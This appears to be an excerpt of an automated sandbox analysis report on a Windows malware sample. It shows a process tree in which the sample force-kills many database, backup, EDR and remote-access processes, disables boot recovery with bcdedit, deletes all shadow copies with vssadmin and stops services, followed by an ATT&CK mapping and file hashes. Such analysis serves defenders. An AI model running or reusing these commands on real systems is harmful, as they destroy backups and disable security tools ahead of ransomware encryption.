  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM NetDiskServer.exe /F
      4⤵
      PID:6412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM PersonUDisk.exe /F
      4⤵
      PID:4932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM service_agent.exe /F
      4⤵
      PID:4448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SoftMemory.exe /F
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM BarServer.exe /F
      4⤵
      PID:6828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RtkNGUI64.exe /F
      4⤵
      PID:5544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Serv-U-Tray.exe /F
      4⤵
      PID:2452
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM QQPCSoftTrayTips.exe /F
      4⤵
      PID:6424
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SohuNews.exe /F
      4⤵
      PID:2472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Serv-U.exe /F
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM QQPCRTP.exe /F
      4⤵
      PID:5796
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM EasyFZS.exe /F
      4⤵
      PID:6860
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM HaoYiShi.exe /F
      4⤵
      PID:3508
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM HysMySQL.exe /F
      4⤵
      PID:5096
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM wtautoreg.exe /F
      4⤵
      PID:5348
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ispiritPro.exe /F
      4⤵
      PID:4056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CAService.exe /F
      4⤵
      PID:6700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM XAssistant.exe /F
      4⤵
      PID:2176
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TrustCA.exe /F
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GEUU20003.exe /F
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CertMgr.exe /F
      4⤵
      PID:316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM eSafe_monitor.exe /F
      4⤵
      PID:6140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MainExecute.exe /F
      4⤵
      PID:4068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FastInvoice.exe /F
      4⤵
      Kills process with taskkill
      PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM Veeam.Backup.Service.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"
    3⤵
    PID:264
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlservr.exe /F
      4⤵
      PID:5944
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM httpd.exe /F
      4⤵
      PID:5196
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM java.exe /F
      4⤵
      PID:3188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM fdhost.exe /F
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM fdlauncher.exe /F
      4⤵
      PID:2224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Veeam.Backup.Service.exe /F
      4⤵
      PID:1904
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM reportingservicesservice.exe /F
      4⤵
      PID:5180
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM softmgrlite.exe /F
      4⤵
      PID:1216
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sqlbrowser.exe /F
      4⤵
      PID:3740
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ssms.exe /F
      4⤵
      PID:836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vmtoolsd.exe /F
      4⤵
      PID:4132
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM baidunetdisk.exe /F
      4⤵
      PID:5720
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM yundetectservice.exe /F
      4⤵
      PID:3412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ssclient.exe /F
      4⤵
      PID:5128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNAupdaemon.exe /F
      4⤵
      PID:4260
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM RAVCp164.exe /F
      4⤵
      PID:5564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM igfxEM.exe /F
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM igfxHK.exe /F
      4⤵
      PID:5448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM igfxTray.exe /F
      4⤵
      PID:1940
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM 360bdoctor.exe /F
      4⤵
      PID:6780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNCEFExternal.exe /F
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM PrivacyIconClient.exe /F
      4⤵
      PID:7136
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UIODetect.exe /F
      4⤵
      PID:6248
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AutoDealService.exe /F
      4⤵
      PID:4572
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM IDDAService.exe /F
      4⤵
      PID:6660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM EnergyDataService.exe /F
      4⤵
      PID:5208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MPService.exe /F
      4⤵
      PID:4328
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TransMain.exe /F
      4⤵
      PID:3448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DAService.exe /F
      4⤵
      Kills process with taskkill
      PID:3952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GoogleCrashHandler.exe /F
      4⤵
      PID:6400
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GoogleCrashHandler64.exe /F
      4⤵
      PID:6672
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GoogleUpdate.exe /F
      4⤵
      PID:3448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM cohernece.exe /F
      4⤵
      PID:5400
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM vmware-tray.exe /F
      4⤵
      PID:7124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM MsDtsSrvr.exe /F
      4⤵
      PID:6360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM msmdsrv.exe /F
      4⤵
      PID:6200
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM "FileZilla server.exe" /F
      4⤵
      PID:7012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UpdateData.exe /F
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM WebApi.Host.exe /F
      4⤵
      PID:4192
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VGAuthService.exe /F
      4⤵
      PID:6888
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM omtsreco.exe /F
      4⤵
      PID:6396
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TNSLSNR.exe /F
      4⤵
      PID:5312
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM oracle.exe /F
      4⤵
      PID:7120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM msdtc.exe /F
      4⤵
      PID:6716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mmc.exe /F
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM emagent.exe /F
      4⤵
      PID:5612
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SoftMgrLite.exe /F
      4⤵
      PID:3640
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UIODetect.exe /F
      4⤵
      PID:4980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AutoDealService.exe /F
      4⤵
      PID:2276
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T & whoami"
    3⤵
    PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VBoxSDS.exe /F
      4⤵
      PID:2328
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM mysqld.exe /F
      4⤵
      PID:5452
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TeamViewer_Service.exe /F
      4⤵
      PID:5908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TeamViewer.exe /F
      4⤵
      PID:4056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CasLicenceServer.exe /F
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM tv_w32.exe /F
      4⤵
      PID:3552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM tv_x64.exe /F
      4⤵
      PID:5528
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM rdm.exe /F
      4⤵
      PID:5308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SecureCRT.exe /F
      4⤵
      PID:4464
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM SecureCRTPortable.exe /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VirtualBox.exe /F
      4⤵
      PID:5384
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VBoxSVC.exe /F
      4⤵
      Kills process with taskkill
      PID:1576
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VirtualBoxVM.exe /F
      4⤵
      PID:5316
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM abs_deployer.exe /F
      4⤵
      Kills process with taskkill
      PID:2052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM edr_monitor.exe /F
      4⤵
      PID:3112
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sfupdatemgr.exe /F
      4⤵
      PID:5860
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ipc_proxy.exe /F
      4⤵
      PID:5724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM edr_agent.exe /F
      4⤵
      PID:444
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM edr_sec_plan.exe /F
      4⤵
      PID:5724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM sfavsvc.exe /F
      4⤵
      PID:3336
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F
      4⤵
      Kills process with taskkill
      PID:5124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM DataShareBox.ShareBoxService.exe /F
      4⤵
      PID:1736
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Jointsky.CloudExchangeService.exe /F
      4⤵
      PID:2876
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Jointsky.CloudExchange.NodeService.ein /F
      4⤵
      PID:5680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM perl.exe /F
      4⤵
      PID:2604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM java.exe /F
      4⤵
      PID:6472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM emagent.exe /F
      4⤵
      PID:116
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TsServer.exe /F
      4⤵
      PID:5020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM AppMain.exe /F
      4⤵
      PID:6980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM easservice.exe /F
      4⤵
      PID:5220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Kingdee6.1.exe /F
      4⤵
      PID:6448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM QyKernel.exe /F
      4⤵
      PID:3676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM QyFragment.exe /F
      4⤵
      PID:5960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UserClient.exe /F
      4⤵
      PID:4076
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNCEFExternal.exe /F
      4⤵
      PID:5552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNCEFExternal.exe /F
      4⤵
      PID:5932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNCEFExternal.exe /F
      4⤵
      PID:5536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ComputerZTray.exe /F
      4⤵
      PID:6276
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ComputerZService.exe /F
      4⤵
      PID:7128
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ClearCache.exe /F
      4⤵
      PID:5352
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ProLiantMonitor.exe /F
      4⤵
      PID:4924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ChsIME.exe /F
      4⤵
      Kills process with taskkill
      PID:6716
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM bugreport.exe /F
      4⤵
      PID:6968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNWebServer.exe /F
      4⤵
      PID:6588
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UI0Detect.exe /F
      4⤵
      PID:5388
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNCore.exe /F
      4⤵
      PID:5196
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM gnwayDDNS.exe /F
      4⤵
      PID:5512
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM GNWebHelper.exe /F
      4⤵
      PID:6848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM php-cgi.exe /F
      4⤵
      PID:3400
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ESLUSBService.exe /F
      4⤵
      PID:5232
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CQA.exe /F
      4⤵
      PID:6900
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Kekcoek.pif /F
      4⤵
      PID:5064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Tinuknx.exe /F
      4⤵
      PID:6964
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM servers.exe /F
      4⤵
      Kills process with taskkill
      PID:448
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ping.exe /F
      4⤵
      PID:4576
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM TianHeng.exe /F
      4⤵
      PID:6276
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM K3MobileService.exe /F
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM VSSVC.exe /F
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM Xshell.exe /F
      4⤵
      PID:7056
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM XshellCore.exe /F
      4⤵
      Kills process with taskkill
      PID:6772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FNPLicensingService.exe /F
      4⤵
      PID:5188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM XYNTService.exe /F
      4⤵
      PID:3256
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM U8DispatchService.exe /F
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM EISService.exe /F
      4⤵
      PID:1064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F
      4⤵
      PID:4528
- C:\Users\Admin\AppData\Local\Temp\8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
  C:\Users\Admin\AppData\Local\Temp\8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe
  2⤵
  - Checks computer location settings
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    PID:3068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
    3⤵
    PID:1844
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "NetBackup Legacy Network Service"
1⤵
PID:4424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SBODI_Server
1⤵
PID:5336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ServiceMid
1⤵
PID:4596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop U8SendMailAdmin
1⤵
PID:5172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Documents and Settings\Admin\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\8ff86e3ecd28a20735c6b5a9b17430f7821d7dda11d056c8ee8a0c25534bab5d.exe.log

Filesize
1KB

MD5
94b770f39629e2b67ee6868f670c41dd

SHA1
9afc5f16bcf46c6104c9488d27349c0dc48e84ec

SHA256
915118168f8b6872bb518feb088de80668513c2b93d46e75687ab3dd292f071b

SHA512
355907b170f419f6fb5c737d797d17af66d6796506d476989465a49e4476286dcbf6848d567b140ac8aa90b4ec29d9e7d0804641d9b50e82d0787c7082098429

Download Submit
C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\S-1-5-21-3270530367-132075249-2153716227-1000-MergedResources-0.pri

Filesize
2KB

MD5
949445d0b6386f0f36c6dca8191880dd

SHA1
bc13b51f6083740b1d3edbab20fa1c642c92a70c

SHA256
cffb07fe5c1e882380eb1e2ba4a33c7a6b5f4434a1869d6ce4d418dbb0725cd8

SHA512
1cb022316ab9f058ea447140056dfe07f4de8beb0562221b140bb3357fdf8b90afdb9ebf7b60279c1d2248e380d668867b5a2131856be2b1113618ac91074afa

Download Submit
C:\Users\Admin\AppData\Local\Temp\killerr.bat

Filesize
39KB

MD5
45e95f1eb5957fde6126ec8e4dd19ba8

SHA1
ada4eec0e4148cd382b93127e333a8fa03e2e19c

SHA256
8ac6b63d44d33b17943776f8ede803881978350e0bef1a9fc30dbf04d52fe3a0

SHA512
